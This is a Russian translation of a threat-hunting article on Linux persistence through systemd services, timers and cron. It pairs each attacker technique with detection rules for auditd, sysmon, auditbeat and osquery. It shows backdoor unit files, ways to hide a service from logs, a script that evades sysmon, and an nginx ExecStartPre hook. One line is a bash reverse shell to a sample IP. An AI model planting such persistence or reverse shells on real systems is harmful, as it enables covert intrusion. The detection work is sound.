
Данная публикация - перевод серии статей от Pepe Berba - Hunting for Persistence in Linux.
! Все приведённые в данном материале примеры эксплоитов предназначены исключительно для изучения и проработки мер безопасности. Их использование в злонамеренных целях строго запрещено и противоречит законодательству. Автор и источник не несут ответственности за неправомерные действия, совершённые с использованием данной информации. ! |
Введение
В этой статье мы обсудим, как злоумышленники могут создавать сервисы и планировщики задач для закрепления, рассмотрев следующие техники:
Создание или модификация системного процесса: сервис Systemd
Планировщик задач/джоб: таймеры Systemd
Планировщик задач/джоб: Cron
Мы приведём несколько примеров команд по реализации этих техник закрепления, а также покажем, как создать оповещения с помощью открытых решений, таких как auditd, osquery, sysmon и auditbeats.
5 Создание или модификация системного процесса: сервис Systemd
5.1 Введение в сервисы Systemd
MITRE: https://attack.mitre.org/techniques/T1543/002/
Сервисы Systemd обычно используются для управления фоновыми демонами. Именно так запускается множество критически важных процессов операционной системы Linux во время загрузки.
Вот несколько примеров сервисов в Debian, с которыми вы можете быть знакомы:
/etc/systemd/system/sshd.service
: сервис безопасной оболочки (Secure Shell Service)/lib/systemd/system/systemd-logind.service
: сервис управления входом в систему (Login Service)/lib/systemd/system/rsyslog.service
: сервис системного логирования (System Logging Service)/lib/systemd/system/cron.service
: демон регулярной обработки фоновых программ (Regular background program processing daemon)
Благодаря этим файлам сервисов такие процессы, как sshd, rsyslogd и cron, начинают работать сразу после включения машины.
Злоумышленники могут использовать systemd для установки собственных вредоносных сервисов, чтобы даже после перезагрузки их бэкдор также запускался. Для установки нового сервиса создаётся unit-файл с расширением .service в каталоге:
/etc/systemd/system/
или /lib/systemd/system/
.
Давайте рассмотрим rsyslog.service, чтобы увидеть реальный пример конфигурации.
[Unit]
Description=System Logging Service
Requires=syslog.socket
Documentation=man:rsyslogd(8)
Documentation=https://www.rsyslog.com/doc/
[Service]
Type=notify
ExecStart=/usr/sbin/rsyslogd -n -iNONE
StandardOutput=null
Restart=on-failure
# Increase the default a bit in order to allow many simultaneous
# files to be monitored, we might need a lot of fds.
LimitNOFILE=16384
[Install]
WantedBy=multi-user.target
Alias=syslog.service
Есть две строки, на которые стоит обратить внимание:
ExecStart: это команда, которая выполняется при запуске сервиса
WantedBy: значение
multi-user.target
означает, что сервис должен запускаться при загрузке системы
Вот несколько ресурсов, чтобы разобраться в этом подробнее:
https://redcanary.com/blog/attck-t1501-understanding-systemd-service-persistence/
https://manpages.debian.org/bullseye/systemd/systemd.unit.5.en.html
https://www.freedesktop.org/software/systemd/man/systemd.unit.html
5.2 Установка вредоносного сервиса
5.2.1 Где размещать файлы сервисов
Чтобы установить сервис, сначала необходимо создать unit-файл вида <SERVICE>.service
в одном из путей загрузки unit-файлов systemd. Согласно man-страницам [Debian systemd.unit man page] и [freedesktop systemd.unit man page].
Путь |
Описание |
/etc/systemd/system |
системные юниты, созданные администратором |
/usr/local/lib/systemd/system |
системные юниты, установленные администратором |
/lib/systemd/system |
системные юниты, установленные менеджером пакетов дистрибутива |
/usr/local/lib/systemd/system |
системные юниты, установленные менеджером пакетов дистрибутива |
Полные пути и порядок, в котором systemd
будет искать unit-файлы, можно перечислить с помощью команды systemd-analyze unit-paths
(для пользовательского режима добавьте ключ --user
). Например:
$ systemd-analyze unit-paths
...
/etc/systemd/system
...
/usr/local/lib/systemd/system
/lib/systemd/system
/usr/lib/systemd/system
...
Это точный порядок и места, откуда systemd
будет загружать сервисы. Некоторые директории, например /run/*
, являются временными и не сохраняются после выключения машины.
Будет использован первый найденный файл с расширением *.service из списка. Например, если файл /lib/systemd/system/nginx.service
уже существует, а мы создадим /etc/systemd/system/nginx.service
, то мы переопределим сервис nginx.service, потому что /etc/systemd/system
имеет приоритет над /lib/systemd/system/nginx.service
.
Это может быть интересным вариантом, если мы хотим скомпрометировать уже существующие сервисы, а не создавать новые.
5.2.2 Минимальный файл сервиса
Мы хотим создать сервис под названием bad. Для этого создаём файл с именем /etc/systemd/system/bad.service
.
[Unit]
Description=Example of bad service
[Service]
ExecStart=python3 -m http.server --directory /
[Install]
WantedBy=multi-user.target
После создания файла нужно включить сервис, чтобы он запускался при загрузке системы. Стандартный способ сделать это:
systemctl enable bad
Если ваш сервис называется, например, netdns.service
, то нужно выполнить команду systemctl enable netdns
. Эта команда найдёт файл netdns.service
в одном из путей unit-файлов, распарсит его и создаст символическую ссылку для каждого таргета, указанного в настройке WantedBy.
Поскольку в нашем примере WantedBy=multi-user.target
, целевой каталог будет /etc/systemd/system/multi-user.target.wants
, и мы можем создать символическую ссылку вручную.
ln -s /etc/systemd/system/bad.service /etc/systemd/system/multi-
user.target.wants/bad.service
После создания символической ссылки операционная система будет знать, что нужно запускать bad.service
при загрузке машины. Чтобы запустить сервис вручную, можно выполнить команду:systemctl start bad
Если вы изменяете unit-файл, необходимо перезагрузить конфигурацию systemd командой: systemctl daemon-reload
В этом примере в ExecStart используется python3
, но вы можете заменить её на любую команду. Это может быть обратная оболочка, например: bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
из любого соответствующего cheat sheet [PayloadsAllTheThings Reverse Shell], или вы можете указать путь к bash-скрипту или исполняемому файлу, например /tmp/backdoor
или /opt/backdoor
.
5.2.3 Оставаться незаметным
Будьте внимательны к имени юнита, описанию и выводу вашего скрипта или исполняемого файла.
По умолчанию описание сервиса будет отображаться в syslog
, а также туда попадёт стандартный вывод (stdout
) и вывод ошибок (stderr
).
Например, если у меня есть python-скрипт, который запускает сервис и пытается подключиться к домену, который мы настроили неправильно, то в syslog
может появиться примерно такой запись:
Jan 30 07:35:56 test-auditd systemd[1]: Started Example of bad service.
Jan 30 07:36:27 test-auditd python3[957]: Traceback (most recent call last):
Jan 30 07:36:27 test-auditd python3[957]: File "<string>", line 1, in <module>
Jan 30 07:36:27 test-auditd python3[957]: TimeoutError: [Errno 110] Connection timed out
Jan 30 07:36:27 test-auditd systemd[1]: bad.service: Main process exited, code=exited, status=1/FAILURE
Jan 30 07:36:27 test-auditd systemd[1]: bad.service: Failed with result 'exit-code'.
Это проблема, потому что такие записи могут насторожить безопасников.
Общий способ предотвратить логирование stdout и stderr — добавить в секцию [Service]
unit-файла следующие строки:
StandardOutput=null
StandardError=null
После того как мы изменим скрипт так, чтобы он корректно обрабатывал ошибки, а также изменим имя, описание и настройки логирования сервиса, у нас может получиться что-то вроде этого:
Jan 30 08:00:16 test-auditd systemd[1]: Started Periodic DNS Lookup Service.
Jan 30 08:00:16 test-auditd systemd[1]: dns.service: Succeeded.
5.2.4 Пользовательские сервисы Systemd
Существует менее распространённый класс сервисов systemd — пользовательские сервисы. Они располагаются в другом наборе путей unit-файлов, который можно узнать с помощью команды: systemd-analyze unit-paths --user
Вывод для Debian:
$ systemd-analyze unit-paths --user
...
/home/user/.config/systemd/user
/etc/systemd/user
...
/home/user/.local/share/systemd/user
/usr/local/share/systemd/user
/usr/share/systemd/user
/usr/local/lib/systemd/user
/usr/lib/systemd/user
...
Мы можем добавить сервис bad_user.service в каталог /etc/systemd/user
.
[Unit]
Description=Example of bad service
[Service]
ExecStart=<SOME COMMAND>
[Install]
WantedBy=default.target
Мы можем включить этот сервис «глобально», создав каталог /etc/systemd/user/default.target.wants
и создав в нём символическую ссылку на bad_user.service
.
mkdir /etc/systemd/user/default.target.wants
ln -s /etc/systemd/user/bad_user.service
/etc/systemd/user/default.target.wants/bad_user.service
После перезагрузки при следующем входе пользователя в систему запускается выделенный сервис bad_user.service
.
Чем это отличается от предыдущего варианта?
Пользовательские сервисы запускаются в контексте конкретного пользователя, а не системы в целом, поэтому они активируются именно при входе этого пользователя, а не сразу при загрузке машины.
Ниже приведён пример дерева процессов.
[root] systemd (PID 1)
├─ [root] sshd.service
├─ [root] rsyslog.service
├─ [root] bad.service
├─ [root] cron.service
│
├─ [user0] systemd --user
│ ├─ [user0] bad_user.service
│
├─ [user1] systemd --user
├─ [user1] bad_user.service
Поскольку sshd, cron и bad.service — это системные сервисы, создаётся только один экземпляр каждого (обычно работающий от имени root). Если в систему входят user0 и user1, то для каждого из них создаётся по одному экземпляру bad_user.service, так как это пользовательский сервис.
Обычно злоумышленнику нужны права root, чтобы создавать системные сервисы. С другой стороны, любой пользователь может создать свои собственные unit-файлы в директории ~/.config/systemd/user
. Это удобно для поддержания закрепления на уровне пользователя до тех пор, пока злоумышленник не получит root-доступ.
Как обычный пользователь, вы можете управлять такими сервисами через systemctl
с флагом --user
.
/etc/systemd/*
/usr/local/lib/systemd/*
/lib/systemd/*
/usr/lib/systemd/*
<USER HOME>/.config/systemd/user
Если злоумышленник хочет корректно запустить сервис, он может вызвать команду systemctl
или service
, поэтому мониторинг выполнения этих команд тоже может выявить вредоносные сервисы. Однако, как мы показали в предыдущих разделах, сервис можно включить и вручную, создав символическую ссылку, минуя вызов команд управления сервисами.
5.4 Обнаружение с помощью правил auditd
Наши эталонные правила из репозитория Neo23x0/auditd предоставляют следующие правила.
-w /bin/systemctl -p x -k systemd
-w /etc/systemd/ -p wa -k systemd
Это не позволит обнаружить установку закрепления, например, как в модуле metasploit service_persistence
, где файл сервиса устанавливается в /lib/systemd/system/#{service_filename}.service
.
Для этого я рекомендую добавить следующие правила:
-w /usr/lib/systemd/ -p wa -k systemd
-w /lib/systemd/ -p wa -k systemd
# Directories may not exist
-w /usr/local/lib/systemd/ -p wa -k systemd
-w /usr/local/share/systemd/user -p wa -k systemd_user
-w /usr/share/systemd/user -p wa -k systemd_user
Закомментированные правила могут быть неактуальны, так как соответствующие директории могут отсутствовать в зависимости от используемого дистрибутива. Мы не можем применять правила auditd к директориям, которых нет на момент запуска сервиса.
Примеры логов auditd выглядят следующим образом:
SYSCALL arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c
a1=55e618b75510 a2=241 a3=1b6 items=2 ppid=2719 pid=2738 auid=1000 uid=0 gid=0
euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=5 comm="bash"
exe="/usr/bin/bash" subj==unconfined key="systemd"
PATH item=0 name="/etc/systemd/system/" inode=90 dev=08:01 mode=040755 ouid=0
ogid=0 rdev=00:00 nametype=PARENT cap_fp=0000000000000000
cap_fi=0000000000000000 cap_fe=0 cap_fver=0
PATH item=1 name="/etc/systemd/system/bad_auditd_example.service" inode=11867
dev=08:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=CREATE
cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0
PROCTITLE proctitle="bash"
5.5 Обнаружение с помощью правил sysmon
5.5.1 Использование sysmon
Для sysmon в файле T1543.002_CreateModSystemProcess_Systemd.xml
можно увидеть следующее правило:
<FileCreate onmatch="include">
<Rule name="TechniqueID=T1543.002,TechniqueName=Create or Modify System Process: Systemd Service" groupRelation="or">
<TargetFilename condition="begin with">/etc/systemd/system</TargetFilename>
<TargetFilename condition="begin with">/usr/lib/systemd/system</TargetFilename>
<TargetFilename condition="begin with">/run/systemd/system/</TargetFilename>
<TargetFilename condition="contains">/systemd/user/</TargetFilename>
</Rule>
</FileCreate>
Аналогично предыдущему разделу, для обнаружения metasploit я рекомендую добавить следующие правила:
<TargetFilename condition="begin with">/lib/systemd/system/</TargetFilename>
Пример лога sysmon:
<?xml version="1.0"?>
<Event>
<System>
<Provider Name="Linux-Sysmon" Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/>
<EventID>11</EventID>
<Version>2</Version>
<Level>4</Level>
<Task>11</Task>
<Opcode>0</Opcode>
<Keywords>0x8000000000000000</Keywords>
<TimeCreated SystemTime="2022-01-30T09:55:21.054861000Z"/>
<EventRecordID>20</EventRecordID>
<Correlation/>
<Execution ProcessID="2571" ThreadID="2571"/>
<Channel>Linux-Sysmon/Operational</Channel>
<Computer>test-auditd2</Computer>
<Security UserId="0"/>
</System>
<EventData>
<Data Name="RuleName">TechniqueID=T1543.002,TechniqueName=Create or Modify Sys</Data>
<Data Name="UtcTime">2022-01-30 09:55:21.062</Data>
<Data Name="ProcessGuid">{f4c1cbc8-6089-61f6-8d07-9717e6550000}</Data>
<Data Name="ProcessId">2738</Data>
<Data Name="Image">/usr/bin/bash</Data>
<Data Name="TargetFilename">/etc/systemd/system/bad_sysmon_example.service</Data>
<Data Name="CreationUtcTime">2022-01-30 09:55:21.062</Data>
<Data Name="User">root</Data>
</EventData>
</Event>
5.5.2 Особенности обнаружения с помощью правил sysmon
Стоит отметить, что такие правила способны обнаруживать только создание файлов. Но обнаружение не сработает, если:
файл
bad.service
создаётся вне каталога, а затем перемещается в директорию systemdпроисходит изменение уже существующего файла
Например, указанные выше правила sysmon не сработают на следующий скрипт (в то время как правила auditd его обнаружат).
cat > /tmp/bad_sysmon.service << EOF
[Unit]
Description=Example of bad service
[Service]
ExecStart=python3 -m http.server --directory / 9998
[Install]
WantedBy=multi-user.target
EOF
mv /tmp/bad_sysmon.service /etc/systemd/system/bad_sysmon.service
ln -s /etc/systemd/system/bad_sysmon.service /tmp/bad_sysmon.service
mv /tmp/bad_sysmon.service /etc/systemd/system/multi-
user.target.wants/bad_sysmon.service
5.6 Обнаружение с помощью auditbeats
Конечно, как и auditd, мы можем использовать мониторинг целостности файлов в auditbeats для этой задачи. Однако следует учитывать, что в стандартной конфигурации auditbeats файлы systemd не контролируются [Auditbeat File Integrity Module].
Хотя по умолчанию контролируется каталог /etc/
, параметр recursive
установлен в false
. Это означает, что /etc/systemd
не мониторится. Необходимо либо установить recursive: true
, либо добавить перечисленные нами пути в конфигурацию.
- module: file_integrity
paths:
- /bin
- /usr/bin
- /sbin
- /usr/sbin
- /etc
- /etc/systemd/system
- /lib/systemd/system
- /usr/lib/systemd/system
# recursive: true
Если настройка выполнена корректно, создание сервиса и выполнение команды systemctl daemon-reload
должны привести к следующим записям в логах:

5.7 Поиск с помощью osquery
5.7.1 Список unit-файлов systemd с хешами
Здесь мы ищем сервисы:
SELECT id, description, fragment_path, md5
FROM systemd_units
JOIN hash ON (hash.path = systemd_units.fragment_path)
WHERE id LIKE "%service";

5.7.2 Список сервисов, запускающихся при старте системы
SELECT name, source, path, status, md5
FROM startup_items
JOIN hash
USING(path)
WHERE path LIKE "%.service" AND status = "inactive"
ORDER BY name;
Этот запрос вернёт элементы запуска с расширением *.service вместе с их путями и хешами. Это те сервисы, которые включены для автозапуска.

5.7.3 Список процессов, созданных systemd
Сервисы, запущенные systemd, будут иметь идентификатор родительского процесса (PID) равный 1. Поэтому мы можем также искать подозрительные процессы с родителем PID = 1. Как рекомендует источник [ATT&CK T1501: Understanding systemd service persistence], стоит обратить внимание на процессы, которые запускаются через python, bash или sh.
SELECT pid, name, path, cmdline, uid FROM processes WHERE parent = 1

5.7.4 Список сервисов с ошибками
Если бэкдор был настроен неправильно, сервис может не запуститься и перейти в состояние ошибки.
SELECT id, description, fragment_path, sub_state, md5
FROM systemd_units
JOIN hash
ON (hash.path = systemd_units.fragment_path)
WHERE sub_state='failed';

5.8 Дополнительные заметки: модификация существующих сервисов
Вместо создания нового systemd-сервиса злоумышленник может просто изменить уже существующие сервисы. Например, он может:
Изменить существующие
.service
файлыПереопределить существующие
.service
файлыИзменить исполняемые файлы, используемые сервисом
Допустим, наша цель — сервис nginx. Чтобы узнать, где находится файл nginx.service
, можно использовать команду:
$ systemctl status nginx
● nginx.service - A high performance web server and a reverse proxy server
Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
Мы хотим изменить файл /lib/systemd/system/nginx.service
. Если мы хотим добавить долгоживущий процесс, не прерывая работу основного процесса nginx, можно использовать директиву ExecStartPre, которая выполняет команду перед основным процессом.
...
[Service]
Type=forking
PIDFile=/run/nginx.pid
ExecStartPre=/usr/sbin/nginx -t -q -g 'daemon on; master_process on;'
ExecStartPre=/root/run.sh # <------------- ADD THIS
ExecStart=/usr/sbin/nginx -g 'daemon on; master_process on;'
...
systemd
поддерживает несколько директив ExecStartPre, поэтому мы можем добавить запуск скрипта. Пример шаблона для /root/run.sh
может выглядеть так:
#! /bin/bash
<COMMAND> 2>/dev/null >/dev/null & disown
Таким образом, при следующем запуске nginx (например, после перезагрузки) скрипт run.sh
также выполнится.
Если же нужно перезапустить сервис вручную, используется команда:
systemctl daemon-reload
systemctl restart nginx
У нас есть несколько вариантов для модификации:
Изменить файл
/lib/systemd/system/nginx.service
напрямую, но при обновлении nginx этот файл будет перезаписан.Добавить
nginx.service
в более приоритетные пути, как обсуждалось в разделе 5.2.1 — например, в/etc/systemd/system
или/usr/local/lib/systemd/system
.Создать файл
/etc/systemd/system/nginx.service.d/local.conf
, который дополнит или переопределит конфигурацию сервиса.
Пример содержимого файла /etc/systemd/system/nginx.service.d/local.conf
:
[Service]
ExecStartPre=/root/run.sh
Как и при создании нового сервиса, обнаружение таких изменений потребует мониторинга целостности файлов. Поэтому будьте осторожны с простым добавлением сервисов в белый список при поиске вредоносных установок.
6 Запланированные задачи: Таймеры Systemd
MITRE: https://attack.mitre.org/techniques/T1053/006/
6.1 Понимание таймеров systemd
Ранее мы рассматривали сервисы, которые запускаются во время загрузки системы. Но это не единственный способ запуска сервиса — другой вариант — использование таймеров.
Мы можем посмотреть существующие таймеры на виртуальной машине с помощью команды: systemctl list-timers

Это альтернатива более известному cron.
Для понимания работы таймеров нужно знать о двух unit-файлах:
SERVICE_NAME.timer
SERVICE_NAME.service
.service
файл почти такой же, как тот, что мы рассматривали ранее.
Сначала посмотрим пример работы таймеров. Если вы хотите узнать расположение таймера, можно выполнить команду:
# systemctl status google-oslogin-cache.timer
● google-oslogin-cache.timer - NSS cache refresh timer
Loaded: loaded (/lib/systemd/system/google-oslogin-cache.timer; enabled; vendor preset: enabled)
Active: active (waiting) since Sun 2022-01-30 09:34:40 UTC; 2h 39min ago
В данном случае файл google-oslogin-cache.timer
находится по пути /lib/systemd/system/google-oslogin-cache.timer
.
Если посмотреть содержимое google-oslogin-cache.timer
, мы увидим:
[Unit]
Description=NSS cache refresh timer
[Timer]
OnBootSec=5
OnUnitActiveSec=6h
[Install]
WantedBy=timers.target
Это означает, что:
OnUnitActiveSec=6h
: сколько времени ждать перед повторным запуском сервиса (через 6 часов)WantedBy=timers.target
: этот.timer
считается таймером и активируется черезtimers.target
Связанный сервис google-oslogin-cache.service
очень простой. Секция [Install]
пустая, потому что сервис запускается только по таймеру.
[Unit]
Description=NSS cache refresh
[Service]
Type=oneshot
ExecStart=/usr/bin/google_oslogin_nss_cache
6.2 Создание вредоносного таймера
Итак, теперь у нас достаточно информации, чтобы создать вредоносный таймер.
Мы создали файл /etc/systemd/system/scheduled_bad.timer
:
[Unit]
Description=Bad timer
[Timer]
OnBootSec=5
OnUnitActiveSec=5m
[Install]
WantedBy=timers.target
Мы создали соответствующий сервис по пути /etc/systemd/system/scheduled_bad.service
.
[Unit]
Description=Bad timer
[Service]
ExecStart=/opt/beacon.sh
Теперь мы включаем таймер и запускаем его.
# systemctl daemon-reload
systemctl enable scheduled_bad.timer
systemctl start scheduled_bad.timer
Аналогично обычному сервису, команда enable создала символическую ссылку для каждого таргета, указанного в параметре WantedBy.
Created symlink /etc/systemd/system/timers.target.wants/scheduled_bad.timer →
/etc/systemd/system/scheduled_bad.timer.
6.3 Обнаружение создания таймеров
Мы не будем подробно обсуждать методы обнаружения, так как они практически совпадают с обнаружением создания systemd-сервисов.
Кратко: стоит отслеживать создание файлов с расширениями .service
и .timer
в одном из следующих каталогов:
/etc/systemd/system
/usr/local/lib/systemd/system
/lib/systemd/system
/usr/lib/systemd/system
6.4 Список таймеров с помощью osquery
SELECT id, description, sub_state, fragment_path
FROM systemd_units
WHERE id LIKE "%timer";

7 Запланированные задачи: Cron
MITRE: https://attack.mitre.org/techniques/T1053/003/
7.1 Введение в cron
Cron — это самый традиционный способ создания запланированных задач. Интересующие нас каталоги:
/etc/crontab
/etc/cron.d/*
/etc/cron.{hourly,daily,weekly,monthly}/*
/var/spool/cron/crontab/*
Мы не будем подробно рассматривать, как создавать cron-задания. Для примеров можно обратиться к https://crontab.guru/examples.html.
7.2 Создание запланированной задачи cron
7.2.1 Пользовательский crontab
Если вы обычный пользователь, вы можете изменить свой собственный crontab с помощью команды crontab -e
. Это создаст файл в /var/spool/cron/crontab/<user>
.
Например, можно добавить:
*/5 * * * * /opt/beacon.sh
Чтобы запускать /opt/beacon.sh
каждые 5 минут. Если команду crontab -e
выполняет root, файл будет находиться по пути /var/spool/cron/crontab/root
.
7.2.2 /etc/crontab
Администратор может изменять файл /etc/crontab
или создавать файлы в /etc/cron.d/<ЛЮБОЕ_ИМЯ>
. В отличие от файлов в /var/spool/cron/*
, где пользователь для задач определяется исходя из того, чей это crontab, в строках /etc/crontab
обязательно указывается имя пользователя, от которого запускается задача.
Для редактирования используйте: vi /etc/crontab/
*/10 * * * * root /opt/beacon.sh
Это будет запускать /opt/beacon.sh
каждые 10 минут от имени root.
7.2.3 cron-задания hourly, daily, weekly и monthly
Каталоги /etc/cron.hourly/
, /etc/cron.daily/
, /etc/cron.weekly/
, /etc/cron.monthly/
содержат скрипты, которые выполняются соответственно ежечасно, ежедневно, еженедельно или ежемесячно.
7.3 Мониторинг добавления заданий в cron
7.3.1 Auditd
В наших эталонных правилах Neo23x0/auditd содержатся следующие правила для мониторинга:
-w /etc/cron.allow -p wa -k cron
-w /etc/cron.deny -p wa -k cron
-w /etc/cron.d/ -p wa -k cron
-w /etc/cron.daily/ -p wa -k cron
-w /etc/cron.hourly/ -p wa -k cron
-w /etc/cron.monthly/ -p wa -k cron
-w /etc/cron.weekly/ -p wa -k cron
-w /etc/crontab -p wa -k cron
-w /var/spool/cron/ -k cron
Это должно покрывать почти все кейсы с cron.
7.3.2 Sysmon
Для sysmon можно использовать правило T1053.003_Cron_Activity.xml
, которое является адаптацией приведённых выше правил auditd.
<RuleGroup name="" groupRelation="or">
<ProcessCreate onmatch="include">
<Rule name="TechniqueID=T1053.003,TechniqueName=Scheduled Task/Job: Cron" groupRelation="or">
<Image condition="end with">crontab</Image>
</Rule>
</ProcessCreate>
</RuleGroup>
<RuleGroup name="" groupRelation="or">
<FileCreate onmatch="include">
<Rule name="TechniqueID=T1053.003,TechniqueName=Scheduled Task/Job: Cron" groupRelation="or">
<TargetFilename condition="is">/etc/cron.allow</TargetFilename>
<TargetFilename condition="is">/etc/cron.deny</TargetFilename>
<TargetFilename condition="is">/etc/crontab</TargetFilename>
<TargetFilename condition="begin with">/etc/cron.d/</TargetFilename>
<TargetFilename condition="begin with">/etc/cron.daily/</TargetFilename>
<TargetFilename condition="begin with">/etc/cron.hourly/</TargetFilename>
<TargetFilename condition="begin with">/etc/cron.monthly/</TargetFilename>
<TargetFilename condition="begin with">/etc/cron.weekly/</TargetFilename>
<TargetFilename condition="begin with">/var/spool/cron/crontabs/</TargetFilename>
</Rule>
</FileCreate>
</RuleGroup>
7.3.3 Auditbeats
Как и в случае с systemd, будьте осторожны при использовании стандартного мониторинга целостности файлов в auditbeat. По умолчанию мониторится только /etc/crontab
. Следующие пути не контролируются FIM в стандартной конфигурации:
/etc/cron.d/*
/etc/cron.hourly/*
,/etc/cron.daily/*
,/etc/cron.weekly/*
,/etc/cron.monthly/*
/var/spool/cron/crontab/*
Вы можете либо включить рекурсивный мониторинг, либо добавить каждый из этих каталогов отдельно.
7.3.4 Osquery
Просмотр распарсенных crontab:
SELECT *
FROM crontab

Список всех файлов в каталогах /etc/cron.hourly/
, /etc/cron.daily/
, /etc/cron.weekly/
, /etc/cron.monthly/
:
SELECT path, directory, md5
FROM hash
WHERE
path LIKE "/etc/cron.hourly/%"
OR path LIKE "/etc/cron.daily/%"
OR path LIKE "/etc/cron.weekly/%"
OR path LIKE "/etc/cron.monthly/%";

Комментарии (3)
Kahelman
28.07.2025 10:58Так вроде создание сервисов невозможно без поднятия привилегий. Или у вас все пользователи под рутом работают?
def-hub-community Автор
28.07.2025 10:58Есть User Services в systemd, В
systemd
начиная с версии 229 поддерживаются user services – сервисы, которые запускаются от имени обычного пользователя и не требуют прав root. Мы писали о них в разделе 5.2.4 Пользовательские сервисы Systemd. Или в чем суть вопроса?
def-hub-community Автор
Залетайте к нам в тг @defhubcommunity там есть еще интересного про кибербезопасность.